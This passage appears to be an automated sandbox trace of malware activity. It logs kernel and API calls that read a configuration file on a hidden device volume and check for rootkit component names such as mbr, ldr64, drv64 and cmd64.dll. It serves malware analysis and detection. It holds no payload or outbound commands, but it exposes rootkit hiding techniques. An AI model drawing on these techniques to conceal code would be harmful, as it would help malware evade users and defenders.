FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.633] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.633] KeLeaveCriticalRegion () [0120.633] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.633] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.633] KeEnterCriticalRegion () [0120.633] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.633] ExFreePoolWithTag (P=0xfffffa8003bbcc60, Tag=0x0) [0120.633] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.633] KeLeaveCriticalRegion () [0120.633] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.633] ReleaseMutex (hMutex=0xf0) returned 1 [0120.633] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.633] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.633] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.634] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.634] KeEnterCriticalRegion () [0120.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.634] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.634] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.634] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.634] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.634] IdePortDispatch () returned 0x103 [0120.634] KeWaitForMutexObject () returned 0x0 [0120.634] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.634] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.634] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.634] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.634] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.634] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.634] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.634] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.634] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.634] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.634] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.634] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.634] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.634] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.634] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.634] KeLeaveCriticalRegion () [0120.634] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.634] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.634] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.634] KeEnterCriticalRegion () [0120.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.634] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.634] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.634] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.634] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.634] IdePortDispatch () returned 0x103 [0120.634] KeWaitForMutexObject () returned 0x0 [0120.635] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.635] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.635] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.635] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.635] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.635] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.635] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.635] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.635] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.635] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.635] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.635] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.635] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.635] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.635] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.635] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.635] KeLeaveCriticalRegion () [0120.635] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.635] ReleaseMutex (hMutex=0x100) returned 1 [0120.635] Sleep (dwMilliseconds=0x2bf20) [0120.641] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b1980b0, dwHighDateTime=0x1d24fa4)) [0120.641] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.641] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.641] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.641] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.641] KeEnterCriticalRegion () [0120.641] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.641] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.641] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.641] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.641] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.641] IdePortDispatch () returned 0x103 [0120.641] KeWaitForMutexObject () returned 0x0 [0120.642] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.642] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.642] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.642] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.642] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.642] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbba00 [0120.642] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.642] KeLeaveCriticalRegion () [0120.642] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.642] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.642] KeEnterCriticalRegion () [0120.642] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.642] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.642] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.642] KeLeaveCriticalRegion () [0120.642] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.642] KeEnterCriticalRegion () [0120.642] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.642] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.642] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.642] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.642] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.642] IdePortDispatch () returned 0x103 [0120.642] KeWaitForMutexObject () returned 0x0 [0120.642] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.642] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.642] KeLeaveCriticalRegion () [0120.642] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.643] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.643] KeEnterCriticalRegion () [0120.643] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.643] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b4000 [0120.643] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.643] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.643] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.643] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.643] IdePortDispatch () returned 0x103 [0120.643] KeWaitForMutexObject () returned 0x0 [0120.643] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.643] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.643] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.643] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.643] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.643] IdePortDispatch () returned 0x103 [0120.643] KeWaitForMutexObject () returned 0x0 [0120.643] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.643] KeLeaveCriticalRegion () [0120.643] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.644] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.644] KeEnterCriticalRegion () [0120.644] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.644] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.644] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.644] KeLeaveCriticalRegion () [0120.644] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.644] KeEnterCriticalRegion () [0120.644] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.644] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.644] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbb070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.644] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.644] KeLeaveCriticalRegion () [0120.644] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.644] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.644] KeEnterCriticalRegion () [0120.644] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.644] ExFreePoolWithTag (P=0xfffffa8003bbba00, Tag=0x0) [0120.644] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.644] KeLeaveCriticalRegion () [0120.644] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.644] ReleaseMutex (hMutex=0xf0) returned 1 [0120.644] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.644] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.644] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.644] KeEnterCriticalRegion () [0120.644] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.644] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.644] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.644] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.644] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.644] IdePortDispatch () returned 0x103 [0120.644] KeWaitForMutexObject () returned 0x0 [0120.645] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.645] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.645] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.645] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.645] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.645] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbb650 [0120.645] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.645] KeLeaveCriticalRegion () [0120.645] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.645] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.645] KeEnterCriticalRegion () [0120.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.645] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.645] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.645] KeLeaveCriticalRegion () [0120.645] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.645] KeEnterCriticalRegion () [0120.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.645] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.645] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.645] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.645] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.645] IdePortDispatch () returned 0x103 [0120.645] KeWaitForMutexObject () returned 0x0 [0120.645] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.645] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.645] KeLeaveCriticalRegion () [0120.645] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.645] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.645] KeEnterCriticalRegion () [0120.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.645] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b5000 [0120.645] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.645] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.646] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.646] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.646] IdePortDispatch () returned 0x103 [0120.646] KeWaitForMutexObject () returned 0x0 [0120.646] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.646] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.646] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.646] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.646] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.646] IdePortDispatch () returned 0x103 [0120.646] KeWaitForMutexObject () returned 0x0 [0120.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.646] KeLeaveCriticalRegion () [0120.646] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.646] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.647] KeEnterCriticalRegion () [0120.647] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.647] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.647] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.647] KeLeaveCriticalRegion () [0120.647] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.647] KeEnterCriticalRegion () [0120.647] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.647] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.647] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbb710, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.647] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.647] KeLeaveCriticalRegion () [0120.647] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.647] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.647] KeEnterCriticalRegion () [0120.647] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.647] ExFreePoolWithTag (P=0xfffffa8003bbb650, Tag=0x0) [0120.647] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.647] KeLeaveCriticalRegion () [0120.647] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.647] ReleaseMutex (hMutex=0xf0) returned 1 [0120.647] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.647] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.647] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.647] KeEnterCriticalRegion () [0120.647] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.647] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.647] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.647] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.647] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.647] IdePortDispatch () returned 0x103 [0120.647] KeWaitForMutexObject () returned 0x0 [0120.647] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.647] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.647] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.647] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.647] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.647] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba600 [0120.648] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.648] KeLeaveCriticalRegion () [0120.648] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.648] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.648] KeEnterCriticalRegion () [0120.648] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.648] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.648] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.648] KeLeaveCriticalRegion () [0120.648] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.648] KeEnterCriticalRegion () [0120.648] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.648] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.648] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.648] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.648] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.648] IdePortDispatch () returned 0x103 [0120.648] KeWaitForMutexObject () returned 0x0 [0120.648] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.648] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.648] 